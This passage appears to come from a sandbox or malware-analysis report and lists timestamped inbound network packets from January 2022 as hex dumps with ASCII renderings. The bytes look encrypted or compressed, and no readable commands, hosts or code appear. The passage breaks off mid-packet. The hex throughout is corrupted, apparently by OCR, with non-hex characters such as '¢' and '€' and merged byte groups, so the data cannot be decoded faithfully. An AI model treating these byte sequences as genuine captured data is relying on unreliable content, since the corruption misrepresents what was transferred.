87 6¢ 8c 95 d5 24 17 32 78 1e fd be 58 1e af aa 8f 95 ¢7 92 49 4f a0 b3 9d 5f 4f 63 d3 6f 23 8e 94 44 23 62 1b 67 7b 6¢ Oa
f9 99 b1 84 7b 41 97 cc 39 6d 49 c1 45 5b 32 aa b5 3c e5 8f 0d ed 13 90 95 c2 07 96 30 f3 22 Ob ¢6 92 56 17 6b c6 ed d3
27 €2 53 46 90 8a fc 6a €6 11 8f b4 b2 83 9d 33 49 a5 6¢ ee el f6 15 be 5b 0a 75 77 58 48 09 89 7c a8 57 60 fe bd d1 5¢
90 9a 6b fa 79 89 60 €9 67 70 41 36 Ob 88 86
Data Ascii: -jV$bxu>vw)XxO ND;#<)fPGLq!De#&]?%GW+/$n-rqDSI$2xXI0_Oco#D#bg{{A9mIE[2<0"VK'SFj3ll[uwXH
|W\ky gpA6

2022-01-14 03:59:52 UTC 5326 IN Data Raw: 7c¢ 28 25 7b 89 64 8e 7b d0 bb 74 b8 Ob 41 8a 03 el da 51 aa 83 37 40 9 b5 5f e2 da fa d3 71 5f 2f d8 cb 30 1e
3ac8b2 76 05 ffe8 c5 32 81 b0 58 €7 10 el d8 87 d0 1b 11 80 ec 23 b5 34 49 90 el 72 7d 8b e2 e0 47 3a 90 67 c5 fd 63
2d 44 01 d3 ff 03 84 42 4d el d4 3a 87 66 bd 60 ed 1c 10 f7 f8 b9 80 al c2 33 f3 0b 79 19 a2 8d c1 95 68 00 9a €6 5e ee
92 a5 2b 97 9d 93 b3 7f 08 92 f8 68 09 14 44 7a 72 1e 31 38 €5 ad 1b 29 f4 a5 el 29 d3 eb 87 81 e8 c8 42 3b 06 d8 ab ed
78 3a 1197 27 22 d0 64 26 a7 dc 72 c4 33 35 5d 66 16 be 50 34 d0 46 30 cb a5 1f d0 e7 ab 93 1f 81 31 7e 91 af 80 21 35
18 05 fa d2 56 47 b3 48 79 9b 16 76 6d 56 1e f9 db 13 9c €9 0d 1e bc 6e 98 4b 07 84 cc 00 3c 25 e8 ed b3 07 0f 7c 5a ac
49 cc aa 82 95 36 fb 25 d9 ¢8 98 3c ca e9 5e 10 64 9¢
Data Ascii: |(%{d{tAQ7@_q_/0:v2X#4Ir}G:gc-DBM:f 3yh"+hDzr18))B;x:"d&r35]fP4F01~15VGHyvmVnK<%|Z16%<"d

2022-01-14 03:59:52 UTC 5342 IN Data Raw: 86 79 c3 42 e9 34 db 28 77 e8 35 c6 5f 90 5d 28 cb 6f 91 c9 Oc 7a 62 98 db 67 9a b0 4a 92 9c 80 Of 1f 93 b6 04
ab 3d 84 00 97 2f c0 34 b7 5b 53 50 e3 b9 67 17 50 9f el 4e 6¢ 31 6a 95 59 fd c7 6d bc 68 97 48 Oa 5a d8 57 cb 85 5e 90
b2 30 46 4c 48 2d ac a7 92 ee 9f 9c a3 59 e4 6¢ 96 cd 37 16 b3 d1 dc 1f 57 7c 63 64 df c1 19 87 ae 82 4e af 8f 6e 57 21
cladacdb 1be2 69 eb 77 37 6a 5e 9f ab 12 be bb 54 ¢7 66 a0 51 8c bf e6 17 04 8a 2d 29 ad 4e b6 48 a3 40 9f 53 fd {7
5a c3 cd 99 80 df fa 95 7b ea Of 64 bb 35 18 c1 da Oe e6 f5 71 5e 93 61 49 3d 21 9d ¢4 60 19 11 51 02 ea 12 68 c1 fO 9e
18 bb 22 c8 5e a2 48 3f 9 bd f1 66 75 c3 88 76 03 ed 81 70 81 70 38 71 86 01 83 c6 d2 77 c9 c1 a7 Oe 69 f3 19 78 d8 fb
69 bc 8e bd 1c ca e0 76 69 e7 3¢ 07 bc 71 78 24 6b f5
Data Ascii: yB4(w5_](0zbgJ=/4[SPgPNI1jYmhHZW"0FLH-YI7W|cdNnW!iw7j*"TfQ-)NH@SZ{d5q"al=!"Qh""H?fuvpp8qw
ixivi<gx$k

2022-01-14 03:59:52 UTC 5358 IN Data Raw: e6 98 a2 84 83 18 bc 5b fe f1 3b 76 3a f4 df 08 e0 86 41 71 d7 1d 70 22 33 ¢3 85 5e c4 ¢3 1d 16 78 4f 0d 05 1c
1894 95 1a 76 8a 73 b1 b3 e4 el Of de a3 45 12 7a a2 9a 02 d7 a5 97 de d6 a9 8d 34 7d a9 c1 ae 44 75 9f 97 1c b5 a0 82
41 cf ed cd 9f ea 4b 83 a3 1b 75 Of f4 e0 9e 46 12 04 3e 73 d9 92 cb 88 e2 {7 49 ee 63 1a Oe ab d5 26 04 bf 66 49 7a 3f 70
b5 11 87 fd 8b 57 77 7e 1e 29 c6 a9 a4 ec 20 e3 99 9b 01 9a e8 43 2b 1c 06 2b f9 57 a5 b5 4b 63 3e 7b b5 7c cc fe 2f 33
09 41 b5 52 ce bd d7 40 26 c6 34 ed d7 93 95 43 25 98 96 71 ec 7d bc ea 0d ee c6 15 4c Oa e6 ba 70 5e 38 99 1c 16 87
3e 70 3f d6 75 da e2 63 00 39 b1 4c 24 de c3 40 aa 14 e5 b4 2b ff 2d 6e da ec 1d b6 el 13 01 fa 47 38 a5 46 ed 11 23 64
3e 44 f1 86 a7 42 6f 85 aa fe 3f e6 08 77 72 el 0d 3d
Data Ascii: [;v:Aqp"3"xOvsEz4}DuAKuUF>s|c&flz?pWw~) C++WKc>{|/3AR@&4C%q}Lp"8>p?ucIL$@+-nG8F#d>DBo?wr=

2022-01-14 03:59:52 UTC 5374 IN Data Raw: cd 61 fc d2 al 21 96 c2 12 77 3¢ bb 12 eb 90 4a ae fe 2c 20 1f 6b 4f 56 1c 77 20 c5 ef 53 84 b5 49 ab 53 0d 00
9b 96 3 34 38 c0 c1 6¢ 49 91 7f c2 8e b7 13 e6 29 9f 58 7c 44 9f cO €3 3e €6 46 6a 86 3a 85 ca 06 d1 a6 db 4c 99 5e cd 5
a3 4d 96 dc ac 09 29 1e 69 c3 d8 eb 74 f4 04 54 33 b9 82 db 54 57 0d 09 b0 67 7d f2 21 8d 05 df 5d 66 56 b4 e2 80 50 ed
4f €6 5d 5¢ 96 ee 2d 4d 68 3a 94 a4 9a 9d 7e e4 23 b5 dd 1c 02 b4 7c 23 0d fd 4e 46 d8 90 b6 43 8b 30 29 16 2f cd fc d3
8e 0 32 f6 1c 53 13 Of ¢5 7c d0 74 d7 45 af 80 9e 6¢ 75 44 31 1f 82 e4 dd 34 ¢3 11 1b dd ac 95 cd dc c7 d7 a9 93 30 dd a7
db c7 02 9d 2d fa b2 83 15 36 e4 b2 6e 9f 51 7 12 fe c1 ea 92 1f b5 89 ba 91 b9 b 9d bl ac bi 8d 70 66 ff 1d a5 el 3d c8
1c 9f 89 6¢ 05 98 53 38 75 2f 30 9¢ 2b bd 60
Data Ascii: alw<J, kOVw SIS48l1)X|D>Fj:L"M)itTSTWg}!]fVPO]\-Mh:~##NFCO)/2StEluD140-6nQpf=IS8u/0+"

2022-01-14 03:59:52 UTC 5390 IN Data Raw: a0 74 79 ¢3 b6 37 7c b4 79 a8 22 c8 98 f1 76 3e a4 b2 d3 22 60 89 62 a7 4f 46 78 41 c4 c5 el 40 2e c8 00 ae
4b 7d 10 58 13 57 ea 2a bb 38 €9 27 af f4 4a e7 36 1d 21 57 ac 8b dc 9f 6d 41 d6 eb ef b8 23 ¢6 27 ¢8 10 66 c1 62 b4 93
8a 4f 9c 11 €0 54 96 1a 76 6 3d 06 91 ¢1 70 cc be 5d db e2 57 ¢8 al ec ff 99 ef 6a al 28 3a 5¢ f0 ad 93 0 30 52 de 5b 2f
2 07 bf eb 78 b3 8d 4f 77 d4 1b 57 7d cO a7 ee fd 28 c1 33 b5 d3 a5 88 1c 17 5¢ cl c8 fc 4e 36 f4 68 b8 Ob 86 40 36 4b
24 da 82 ce 6a cc 88 be 0Of 1b 91 23 9a 73 cb ¢4 ec fc 59 13 47 86 23 13 bb al 82 15 db 3d cc 9a 79 9a 87 21 46 40 90 e7
1f ea 19 28 16 fd b3 ec 21 a8 1d 2f 08 ad 7e d5 c2 c1 06 68 al fb 5b 67 d3 2b 0a 29 a9 0d 92 5 4c 16 8d 08 ed 93 7f 74
59 aa 28 fe 9b e2 dc d4 c2 98 97 19 4b 75 d6 39 e d4
Data Ascii: ty7]y"v>"bOFXA@.KIXW*8'J6!WmA# fbOTv=p]Wj(:\OR[/XOWW}3\NBh@6KSj#s Y O#t=yIF@(!/~h[g+)LtY (Ku9

2022-01-14 03:59:52 UTC 5406 IN Data Raw: d7 ¢7 51 62 e7 a0 5f ea a5 84 54 f0 4c 23 71 e5 25 dd 15 f9 f9 a8 42 ee €9 89 eb 79 d0 51 fb 25 a4 69 96 c7 c5

52 b7 0c 94 75 b8 7c 4e 1a 60 b0 2e 33 4e fe 50 bf f5 95 ca 52 c1 db ee {7 54 bb 37 b2 ce 73 df 65 ac ba e6 54 5d 7d 50
06 30 75 aa 85 70 d5 ae 5b 16 4e Oe e6 61 16 95 a9 c4 8¢ 61 cd 28 19 a7 d1 Ob f8 53 a0 18 ea bd af Oa fO f5 a2 04 33 1e
44 9e a8 d4 11 fc 21 bd 1a c8 1d 6b 3b ec cf 42 a0 4e e2 bb 1e ba 70 55 5f 2¢c 16 b7 80 26 9c Oe bb d5 4c 64 72 b5 15 9b
66 44 91 8c f5 fc ae 03 2¢ 90 Oc ba 11 5e 00 d1 el 6e 8 20 ce 79 a5 2a 9b 45 5c 44 87 14 el el 6¢ d3 9d 40 f4 41 df b2
04 8f 1a 74 73 8b 18 f4 43 43 71 48 96 f9 cd 5e b5 ba 8f ¢7 c0 aa Oc d6 64 bc 7b 8e 03 04 80 10 4f 09 ba 8e 7a 52 1c 74
8339 a3 2c b2 e8 14 b4 el 23 7c 4e el 2b 6a 37 b8 1f

Data Ascii: Qb_TL#q%ByQ%iRu|N".3NPRT7seT]}POup[Naa(S3D!k;BNpU_,&LdrfD,*n y*E\DI@AtsCCqH"d{OzRt9,#|N+j7

2022-01-14 03:59:52 UTC 5422 IN Data Raw: 2b d7 de a2 7c 40 76 84 94 af 93 8c c7 Oe 70 ff 4d ae f0 57 01 4d 58 e2 a3 2e 67 9b bc 81 04 cd 08 04 af ec 4c
01 bb 57 aa 41 b8 e4 76 93 e4 87 18 7d bf 5e f1 a0 a6 db 92 7b 16 33 08 0f 84 01 47 02 c2 b8 74 b0 a3 33 4b e4 2e 73 34
ab de f3 d4 80 6f 75 a2 35 2a e5 41 fc 18 21 27 d6 ef cd 62 46 d5 46 6d 06 6e dc b8 00 30 a6 02 e2 16 9e 7e 74 66 bb eb
e3 le 2c 4f 11 8f a8 8e e0 ¢9 25 24 08 45 dd 23 a0 86 5b 84 27 ba 15 9d 3f 16 ba 1f 9d 70 24 da c9 8a 78 11 99 10 ef 86
fd a0 02 cb da 09 12 d7 Oe e3 e5 2e 1b 1a f2 a5 7a 7d 10 a9 5e aa c¢7 93 O0a 81 d7 a3 ff 7d d4 5f 2d 21 46 e7 de 76 7a 13
17 7f db 15 45 44 18 80 el f9 95 cb 5a 90 a3 cc bl 15 ae 87 48 b7 be 08 8b 7e 8e 56 e4 bf ff 36 e7 b7 a5 fb a7 38 62 81
dadc 71 cb c5 1afc c2 d2 36 94 08 15 88 7d 99 69 3b
Data Ascii: +|@vpMWMX.gLWAVIN3Gt3K.s4ou5*Al'bFFmnO~tf, O%S$E#[' ?p$x.z}\}_-IFvzEDZH~V68bq6}i;
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2022-01-14 03:59:52 UTC 5438 IN Data Raw: ea 72 f8 f4 bf cc d3 ae 7f 74 6b e5 49 3f 88 23 29 73 33 c9 {7 f7 09 d4 f8 3a 50 17 a0 5d 84 16 f4 €6 39 02 46
b5 cf 3b 53 ab 81 5b 39 e3 e2 30 c7 96 b8 15 26 7a 53 55 56 ff 38 4e 1b 58 3a ba 4a 61 d1 bc 08 f3 2b b4 e8 18 0d 54 68
f3 2c 6e 5a aa 78 61 Oe c0 ad 5f 86 al 4e 80 58 7a f1 74 2a 8c 1a f4 3b bc 6a 5a de c2 85 5a 63 a5 19 83 9f df 27 e5 7e 89
bffa111c 3999 e0 79 0578 0b c3 7c 83 a9 7e d8 a3 f5 c5 a3 a0 69 17 30 2d e7 9b ed ee a5 89 7e 91 78 72 58 43 7f 3b
cl e6 42 8e 54 37 32 c7 e4 94 bl 5f 0a 04 a6 48 8e 11 68 63 ad 2a 8a 13 85 a3 7a db e5 da e8 72 6d bd 05 a2 e7 12 61
63 25 98 bb 6¢ 9b 8f 9b 4d d2 ec 62 b0 67 a3 30 17 f6 ae e7 90 d6 a5 9b 17 ab c7 44 55 e4 dd 4c 18 b1 37 02 df ee af db
3b 10 dc bb 10 06 8e 68 1f cf 15 f7 4c 16 bf el af c6
Data Ascii: rtkl?#)s3:P]9F;S[90&zSUV8NX:Ja+Th,nZxa_NXzt*;jZZc'~9yx|~i0-~xrXC;BT72_Hhc*zrmac%IMbgODUL7;hL

2022-01-14 03:59:52 UTC 5454 IN Data Raw: 4b 40 1b 88 b6 44 2a 51 d0 b9 1c 10 d4 5e 1e 4c 59 00 50 06 53 4f 9b 25 68 39 48 1a ed fb 4d 2e fa ce 62 6d
7762 cf70 77 9e eb 80 95 3e ed a8 10 d5 c9 6b ac 52 fb ec fd c7 8¢ 98 ac 32 a8 b1 17 d9 77 84 7a 2c 81 d2 33 5e 3e 2a
8f b7 70 33 5¢ 35 76 00 41 46 a6 f5 7d 65 b3 31 74 b7 b8 20 79 a5 54 20 bf 4d 4f 0f 34 73 0d 3c 20 b4 7d 56 23 50 d4 c3
af 9f 17 b6 ca 8d 4b ac 2b 03 14 81 97 1f 45 4e 03 Of b8 36 cb 2 7e 4a 14 8b 4f 32 bd 4e 50 3e 38 91 65 2a €9 9d 40 e fO
¢4 50 5f 50 ab 36 be 62 6d 73 8a 82 21 f4 a7 ac 58 c7 c4 ee be 76 98 da db 24 f0 35 60 26 23 05 2d da 97 cd 5e 52 e7 ef
60 a4 e0 9a d5 d2 4b a7 e7 de 54 19 a7 96 c5 89 c5 f4 a3 11 1c 3f 2f e2 04 0d 04 82 3e 2b 9e 42 e6 €0 13 aa 08 c7 84 3b
13 d7 a8 d3 c7 ac 4d 1c 59 e7 c6 47 04 40 fb 4d 48 8f
Data Ascii: K@D*Q"LYPSO%h9HM.bmwbpw>kR2wz,3">*p3\5vAF}elt yT MO4s< }V#PK+EN6~JO2NP>8e*@P_P
6bms!Xv$5 &#- "R KT?/>+B;MYG@MH

2022-01-14 03:59:52 UTC 5470 IN Data Raw: 80 b2 ae 13 98 7b 40 14 7d 84 91 44 1e 11 40 62 6a 13 8d 9a 1e 51 37 b9 53 b7 2a 34 b4 fc ff d4 ¢3 07 35 8b
5a 56 d7 5c a3 8b 36 a5 dc c9 2c 73 d1 02 d6 7e d2 42 56 6d fb 9f 37 ef 15 d9 Oc 1f fd 3e 44 b4 60 fO 11 7 d4 a0 24 Oe 7e
27 be 07 72 ed 80 91 6b cd 3f 9d e4 08 f2 48 0f d8 7b 5b 6 11 d0 Of 11 el b5 b1 0d 3f d5 c0 Oa c5 34 77 19 3f 6a 93 af fb
d9 6b ba dc 38 77 2c 14 79 97 1f 59 59 c9 b8 e0 1d 54 e0 86 e4 7a 7b 3b Of f5 21 96 2a 02 29 ee 22 02 12 bd 6c 6f a0 48
e4 b2 24 29 c5 f5 fe d4 a4 a9 3b d4 35 65 83 48 2a 87 d6 7f fd b2 87 40 4a ea 5b 54 21 5d 54 Oc fc 36 4c fO 72 89 e9 c0 af
47 24 b8 22 ab b0 b7 98 Oc 77 8c Oe 83 53 7b a5 74 9f c1 89 ca d0 33 1b c6 3a 84 ee 56 90 c6 61 10 33 ae 5a 1f b6 8c 43
96 f5 71 00 e7 75 3d 07 bb a6 d6 46 7a 72 a8 ef
Data Ascii: {@}D@bjQ7S*45ZV\6,5~BVm7>D $~'rk?H{[?4w?jk8w,yYYTz{;!*)"loH$);5eH*@J[T!]T6LrG$"wS{t3:Va3
ZCqu=Fzr

2022-01-14 03:59:52 UTC 5486 IN Data Raw: 01 ed bf 2c ¢7 31 ac 60 ed 7e Oc 4a 1d a5 aa c6 94 d2 ee b7 bd 38 b7 51 6d 39 33 5e e4 91 33 6f ba cb 05 82
98 5b 61 8e 43 25 a5 e5 a9 74 df f8 b7 ea c2 ee 6¢ ed a5 cc a3 3a da 18 d4 7a 1c f6 fO ab d7 36 fb c4 79 4e b4 52 2¢ 73
46 fb e7 c5d1 1e 95 8a c2 a7 d7 d6 cc 54 d4 bb e7 18 b7 47 db 37 ed 41 b7 00 €0 bd 07 59 95 c4 c6 a0 fe 67 99 €8 a8 a8
d9 a2 39 55 93 ff 13 46 2c 87 16 4c 73 24 c3 3e e6 4e 4b d9 57 29 fa 43 96 56 a5 56 72 €0 27 3b ae af f4 91 8f d2 24 9e
60 7e fc 28 61 €0 26 cb 99 3f d1 ¢5 fb 7c 70 d5 bb 44 €9 e3 6a 79 76 bd df 5a 39 29 a5 7c 04 cd 45 cc d1 f4 73 b3 58 b5
60 b5 1d d0 56 d2 2d ea cb b3 d3 be b9 50 ec fb a3 3b cc cf 7e b7 25 6 35 ef cf 74 9e e7 af 80 95 b1 c9 cb 99 83 45 98 fa
89 78 23 1b ¢8 9f ¢8 13 0f 1f 23 66 da cc df 29 d2 43
Data Ascii: ,1'~J8Qm93"30[aC%tl:z6yNR,sSFTG7AYg9UF,Ls$>NKW)CVVr';$ ~(a&?|pDjyvZ9)|EsX V-P;~%5tEx##f)C

2022-01-14 03:59:52 UTC 5502 IN Data Raw: d3 a6 fc 65 08 7e 23 d6 3a 87 b8 b3 0d 07 ed 0d 70 03 bf 51 ec fa ac 47 b1 13 28 18 1f ed 75 d7 6d 10 3b 14
66 06 Oc 06 57 Ob 28 63 d3 33 80 e7 ba 46 18 be 19 05 c6 ff 49 31 cf e3 34 db d2 08 a2 3e 41 20 ff 21 2b 67 f7 e5 68 6a
a6 16 a4 4b c9 02 f1 aa e5 aa 19 2a 63 d6 80 83 47 d3 87 39 e1 b3 13 b7 d1 51 fb 80 78 6a 63 19 f1 a6 12 75 34 b0 1d 84
62 fb 21 c2 e3 e6 1f 67 60 8f 79 ad ed 90 b0 e7 1c dc 25 55 88 08 04 24 03 73 e4 2a 00 a9 a6 3d 4a d9 aa 20 8f 5e 9f dO
3af9 a7 5bd3 02 f220d5 1c e4 28 12 4e 87 9d a2 c6 b8 39 96 30 1c f2 1f 9b d3 6¢ 6d a0 78 45 d1 44 72 46 54 52 5b 89
6595 12 f2 b7 77 36 b1 88 b9 b1 {3 cd 2b 24 5a 1a 4f ac 46 cc 07 b5 aa 45 d1 c4 c¢5 40 42 04 14 d2 00 c4 6 45 1e 46 35
17 11 el 1b Oe f1 d0 db 32 13 78 b4 e9 fa 11 be 09 9c db
Data Ascii: e~#:pQG(um;fW(c3FI14>A !+ghjK*cG9Qxjcudb!g y%U$s*=J ~:[ (N9OIMXEDrFTR[ew6+$ZOFE@BEF52x

2022-01-14 03:59:52 UTC 5518 IN Data Raw: a4 d6 b2 bc 18 79 b4 07 40 a6 86 08 87 b9 02 02 53 96 39 b1 22 78 fa 7e 7f 12 28 1f 0d 90 2e 8f 25 4e 5b bb 5f
7d 9a 18 e5 87 2a 4b 05 52 6a 45 9d 8¢ 76 92 24 52 c2 2d 42 c4 2c 7b 5d 83 23 69 2b 07 b0 7a 83 19 e6 74 €9 14 10 58
e2 1e 5e 00 e8 60 14 bl 2e 44 bb de 8a 88 6d bd 54 f1 cc b9 8e cb 2d 10 08 2d 2d 2b 50 f0 00 80 ed 8f 8d d0 al 50 a0 Oe
bd 69 e5 0d 41 1d 8d 21 5e 75 35 96 44 5c¢ 32 cc 35 3b 41 da f7 3f 8d 79 5b 1f 76 7a e9 1a e3 5f 16 93 4c 6a 05 d2 d4 8c
dd 8d d4 04 2 4e aa 49 ad c5 79 8f 8f 5d 6d 59 3e fe 8b a8 a5 af 5a 7a 21 5¢ 81 7c 45 15 39 35 b9 Ob fa 2e 45 37 73 de
6d 6b 03 24 9a 90 2f Oe 1b ef ad c7 cd 7b 98 2c aa 2d f4 01 2a e4 f1 bd 29 ed da 86 07 8a 02 €2 94 17 74 c0 aa b7 6a 6b
3e b2 25 26 7f fb 08 c6 bc b2 f8 36 68 80 3e 30 c4 8e f6
Data Ascii: y@S9"x~(.%N[_F*KRJEVSR-B, {|#i+ztX"".DMT---+PPiAINuSD\25;A?y[vz_LjNIlylmY>Zz\|E95.E7smk$/{,-*)tjk>%
&6h>0

2022-01-14 03:59:52 UTC 5534 IN Data Raw: 86 16 71 84 02 bb ¢3 21 10 d6 dO f2 61 58 c1 85 ab ed 9c fb €0 ce bb 5¢ 2a 18 96 8b 2b bc 31 fd Ob 22 9d 9d 4f
60 58 fe 23 7b 6a 5¢ 23 dc 92 b8 05 a9 37 cc ff 4a 2f 30 Oa aa 35 f5 91 00 ab 2f ac 6a 1e e7 3d ec c2 79 4a 70 87 e5 38
82 17 49 92 60 d8 e5 8e d1 bf f8 05 14 24 a6 9a df a7 ae cc 2b db 95 82 95 92 f6 f9 d9 88 25 6d 6¢ 3e 39 92 1c 4e da b6
4d 2c bb 2e 1b bf f9 59 17 e7 €0 e8 08 ee f9 3a 5d fe 4f b8 {8 ed 6a 86 c7 6d 4f 16 75 dd 58 0a 97 c6 1b 94 b2 02 30 al bc
7¢ 51 0c be b4 8e ed 4a 41 6a d6 1d 22 1e 29 c8 3e 95 c0 d3 Of 1f 56 69 55 5e 42 9e 21 27 15 83 37 31 74 95 79 a0 Od ff
29 56 08 09 ff 49 el 7a 01 48 fe 36 03 a5 07 €0 1le 07 da 99 a8 15 c6 36 fe 66 3c 31 37 d1 27 27 dd 61 d1 ae bc d5 80 69
0591 85 d5 75 57 35 15 75 0a a9 23 21 16 29 59 11
Data Ascii: qlaX\*+1"O" X#{j\#7J/05/j=yJp8I'$+%mI>9NM,.Y:]OjmOuX0|QJA]")>ViU"B!'7 1ty)VIZHE6f<17"aiuW5u#!) Y

2022-01-14 03:59:52 UTC 5550 IN Data Raw: 35 43 68 2c 7b 36 bc 56 e3 b6 dc 49 21 59 cb b9 cd 09 f8 d3 5f 45 25 73 ac e3 18 92 80 91 83 e9 e6 aa ba c4
a0 47 d5 73 ae c2 a6 d2 12 2d 2c 85 ea 6a fO eb e6 31 87 ¢6 67 d4 20 15 35 9c ac 54 c0 ad 8d 08 e0 a9 24 a7 85 19 11 af
Oc 26 ef 86 55 06 cc 42 88 b9 70 ea 7b 59 eb 5f 6b 57 f4 60 a9 ab 28 6b 57 33 9d 53 a0 2d 5a 69 21 0a 52 bc c1 6e 70 e9
4f Oe ba cd e2 2a ff 8b Oe 04 ab e4 d6 85 a7 b2 f6 7a 17 ef 03 8a fb 80 43 00 df 27 fO ba ea 34 e4 67 e2 b2 c5 75 fa e8 f3
50 c8 41 e0 80 a4 10 6e 19 6a 22 a6 fb c6 ea c3 5a 43 23 f6 90 2f 26 90 4e bf 99 5e 93 22 e2 d0 63 ef f1 05 fa €6 17 6¢ 4a
ch 62 3c d8 66 ae 25 7b cd 59 5d 64 d6 a7 43 9d 20 3e 12 20 90 fd bb 6d 15 Ob 1d 87 93 b4 b2 fa 21 9c Oe 94 f8 5b 14 63
4d 3c 2e 4e ff 96 fe bc 64 5¢ 50 ff f5 3f db 3f a5
Data Ascii: 5Ch,{6VI'Y_E%sGs-,j1g 5T$&UBp{Y_kW' (kW3S-Zi!RnpO*zC'4guPAnj"ZC#/&N""clIb<f%{Y]dC > m![cM
<.Nd\P??

2022-01-14 03:59:52 UTC 5566 IN Data Raw: 93 73 3b 01 0f 84 24 5d 4a 07 fb a3 a0 a6 8b 20 f9 73 94 4d c1 41 d0 90 50 4f 98 d0 49 d7 le a2 1d 14 12 70
e4 b2 f2 59 f4 fd 8¢ 03 a9 c6 6e fd a0 7f e2 22 1c de 45 6¢ af a6 da 12 c2 Oc 69 30 4d 57 f0 72 cf b7 e3 6¢ c6 8b e0 76 5d
8d a3 69 da af f8 46 cd c0 31 bd 86 42 12 99 5a 86 b5 10 36 Ob bl 6f 36 bd 84 12 f3 4a 17 66 67 a7 c5 20 2d 96 61 61 al
30 e5 2d a0 8a 49 d8 59 2d 42 a2 27 86 21 de 38 34 36 ¢7 9d ca a5 02 91 77 77 c9 a2 6e 2a e3 9b 8b b7 50 c0 db 03 da
5c 53 b5 0f 06 69 19 2a 0a c1 el Oa 79 Oc 3f 63 e2 87 ¢1 88 97 29 dc db c2 ¢6 9b 28 19 8c c0 1d c7 60 ac 49 le a5 2b c8
a5 a2 dd d9 9e 0d 75 b8 53 9c 02 f6 ea d6 3d 7f 4e cd 9b 3f f1 8c ec 01 2a db 2d 8d 6b 05 16 4b 22 al 81 97 18 2a 02 af
2522 67 4e ¢3 29 e0 57 a5 43 02 2¢ 4f 99 9¢ 17 b4 Ob ec
Data Ascii: s;$]J SMAPOIpYn"EliOMWrlv]iF1BZ606Jfg -aa0-1Y-B'1846wwn*P\Si*y?2c)(" [+uS=N?*-kK"*%"gN)WC,O

2022-01-14 03:59:52 UTC 5582 IN Data Raw: 9d 23 58 af 52 08 63 74 b5 f1 c9 6d eb 1b 73 d4 16 6f d7 48 d9 ce 24 7f Oe 54 34 66 f8 45 5a 1b 2b 15 7c 60 b4
22 bb 10 e8 f3 16 eb 33 d8 d4 5e 13 8b 5a 88 ac 2c 76 56 50 1b 82 f9 50 91 f9 4c 94 17 44 97 f5 80 82 e2 df 70 e4 3c 62
3417 92 ef 20 cf €9 52 07 f3 b6 29 e6 29 83 5e 23 db c4 ab 83 89 c4 00 6e 1a 20 d2 81 fe 2f 93 7f 65 a6 b7 6a 63 1d 86 e0
a9 c6 8b e3 9b 27 ba 89 e3 5 56 4f 94 40 1f 2e 38 d9 96 99 20 39 00 7b 49 71 51 09 63 ea 65 c0 c1 66 a9 12 a3 55 09 e7
db e0 13 44 e9 89 f7 99 ab 90 al b5 1d cc 59 b4 39 91 1b 96 3e d2 e5 80 2c d5 94 84 24 f4 aa e2 58 ad 1e Oe 04 4c a7 be
Ob b9 7 f0 b2 43 52 c6 b7 a0 e4 0a f8 79 08 ef 0f 97 04 69 8f 71 a9 fa a7 21 d2 f2 d0 be c4 3d ee 6a 9f Ob 44 06 f0 6f 57 ff
1b 35 4b ba 85 1a 85 3b 98 fc 11 66 ce 5b 76
Data Ascii: #XRctmsoH$T4fEZ+|™"32Z,vWPPLDp<b4 R))*#n /ejc'VO@.8 H{lqQcefUDY9>,$XLCRyiq!=jDoW5K;f[v
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Timestamp transferred Direction Data

2022-01-14 03:59:52 UTC 5598 IN Data Raw: 9b 35 9f 39 85 a2 82 0a 80 c6 6f de f0 54 6d 3e 26 b8 85 f2 e1 29 9d b4 d3 ac 09 el db 6a 0d 2c 9b 8 42 2b 0d
1c 24 fe e9 4f 91 c3 be 12 69 33 de 66 97 79 e4 31 5d 32 53 77 0a 27 55 19 al Oc 5c 85 4e 5d c9 36 €8 51 99 08 db 94 e5
69 cb f1 4e ca 01 6a a7 84 16 50 61 5a 85 dc 96 e6 8a 5d 96 59 32 15 ce 1a b9 bd 95 62 4c f8 6f 1a 86 06 b6 2d 66 2a 52
48 58 56 d7 cd 88 1e 96 f1 34 70 93 83 27 63 5¢ 7 ba 93 4e 91 61 8b 2d 56 b9 0b 8f 86 3b 4c 6b de 1a db Ob 2b bb 9b 76
31 bf f0 83 64 d2 74 9f cb €9 75 43 17 al 32 47 90 7a 51 51 52 a2 48 ff d9 ec ce 96 48 ff c3 e6 16 68 a6 c5 6a 28 2a 38 ff
39 d6 2e c5 6b b9 7c f7 f5 34 5d b3 12 41 81 cc 6d fO 6d bd ac 60 4b a8 9c 7e c4 ba 59 1d 95 Ob d2 bb 05 1c 1a d4 fb 40
a4 21 17 Oe 18 Oe 6a 2d 36 26 f4 39 da 2c bc 05 f6
Data Ascii: 590Tm>&)j,B+$0i3fy1]2Sw'U\N]6QiNjPaZzZ]Y 2bLo-f*RHXV4p'c\Na-V;Lk+v1dtuC2GzQQRHHh]j(*89.k|4]A
mm'K~Y@!j-6&9,

2022-01-14 03:59:52 UTC 5614 IN Data Raw: 7a d8 44 a4 ec Ob e2 2c b9 7b e4 70 3f 8e 60 12 df 2a 11 18 48 89 6d ff 72 52 a2 6f 8c 9a 28 d1 bl da a0 4c d4
87 dd 8f 0a a9 56 0Ob 49 7 9f eb 52 6b 4e 05 61 60 4a 3e ce ef 61 ¢3 72 3d 95 7c 2d 6e 1d 39 27 89 a4 Ob e6 b0 79 4c f2
69 5c 41 b4 0c 95 ed 70 73 ab bc 7 8 be Oe 5¢ 06 73 c8 49 d4 fa b5 27 23 e0 d7 2a a5 6d 4e 3a 4b el da 3a 0d 45 96 ee
d0 87 f6 bc e7 42 el 9f 8f dc 36 db 1c bb f3 f1 84 d3 c7 ea df db 53 82 2¢ 39 ¢5 64 92 00 61 ea 19 ab 64 b5 98 60 3e 64 c1
4b d2 c9 25 2b 98 5a 7f 70 66 a9 33 4f df d8 e9 4e 58 17 96 56 97 50 4c b2 a4 0f fa 53 8b 7b 8 a0 6f 9f 1c fc 65 €9 e7 74
80 5e 8f 96 43 f8 57 13 c2 6a 89 9c f1 90 f1 6d c9 a2 34 7f e8 da aa f9 08 ef bd ee 69 2f f8 4e f3 1d a9 61 e6 2a 57 c4 ba
1d 58 76 cf 1d 25 6f 7f 89 80 12 92 ce cc 9d
Data Ascii: zD,{p? *HmrRo(LVIRkNa J>ar=|-n9'yLi\Aps\sI'#*mN:K:EB6S,9dad >dK%+Zpf3BONXVPLS{oet*"CWjm4i/
Na*WXv%o

2022-01-14 03:59:52 UTC 5630 IN Data Raw: 92 db 98 bf 72 4b c2 c¢5 d5 b4 0f 8d b3 27 ba db 03 8d b3 4d 84 ec b9 Ob al 58 f4 b5 19 a5 ed ee 3f 69 8d 01
